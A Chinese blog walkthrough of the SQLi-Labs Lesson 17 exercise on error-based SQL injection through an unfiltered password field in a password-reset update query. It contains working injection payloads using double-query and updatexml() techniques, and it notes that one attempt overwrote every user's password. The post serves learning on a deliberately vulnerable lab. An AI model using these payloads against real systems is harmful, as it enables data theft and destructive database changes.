SQLi Labs Lesson17

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/x728999452/article/details/52209315

Lesson - 17

Update Query - Error Based - String


首先进入欢迎界面:


本页面的作用是重置用户的密码。

本节对注入有过滤。

function check_input($value)
{
	if(!empty($value))
	{
		// truncation (see comments)
		$value = substr($value,0,15);
	}

	// Stripslashes if magic quotes enabled
	if (get_magic_quotes_gpc())
	{
		$value = stripslashes($value);
	}

	// Quote if not a number
	if (!ctype_digit($value))
	{
		$value = "'" . mysql_real_escape_string($value) . "'";
	}
	else
	{
		$value = intval($value);
	}
return $value;
}
该函数的作用:

1.首先对参数$value只取前16个字符。

2.magic_quotes_gpc()函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误 。

在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

3.ctype_digit函数做纯数字检测。

具体见 http://php.net/manual/zh/ref.ctype.php

mysql_real_escape_string 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 。

具体见 http://php.net/manual/zh/function.mysql-real-escape-string.php

intval 获取变量的整数值

具体见 http://php.net/manual/zh/function.intval.php


后台php只对username进行了过滤,没有对password进行过滤。

$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

所以可以利用password进行注入:

利用Lesson-5中的Double Injection:

(查看后台php源代码,可以看到,只有当用户名存在时才进行密码重置,所以利用password注入时,必须事先知道一个存在的用户名,这里用admin)


构造表单:

username为:admin

password为:foo' and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) #

点击submit后,不管刷新多少次,发现均没有报错,更别说报出数据库名。

通过phpmyadmiin查看发现,users表中的所有user的password均变为0。



重新构造表单:

username为:admin

password为:1' and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) #

点击Submit,刷新几次后得到:


还有一种注入的方法,利用updatexml()函数。

重新构造表单:

username为:admin

password为:1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

(0x7e为‘~’)

结果如图所示:


关于UpdateXML(xml_target, xpath_expr, new_xml)函数:

Description:
Syntax:
UpdateXML(xml_target, xpath_expr, new_xml)

This function replaces a single portion of a given fragment of XML
markup xml_target with a new XML fragment new_xml, and then returns the
changed XML. The portion of xml_target that is replaced matches an
XPath expression xpath_expr supplied by the user. In MySQL 5.6.6 and
earlier, the XPath expression could contain at most 127 characters.
This limitation is lifted in MySQL 5.6.7. (Bug #13007062, Bug #62429)

If no expression matching xpath_expr is found, or if multiple matches
are found, the function returns the original xml_target XML fragment.
All three arguments should be strings.

URL: http://dev.mysql.com/doc/refman/5.6/en/xml-functions.html

Examples:
mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \G

*************************** 1. row ***************************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>



阅读更多
换一批

没有更多推荐了,返回首页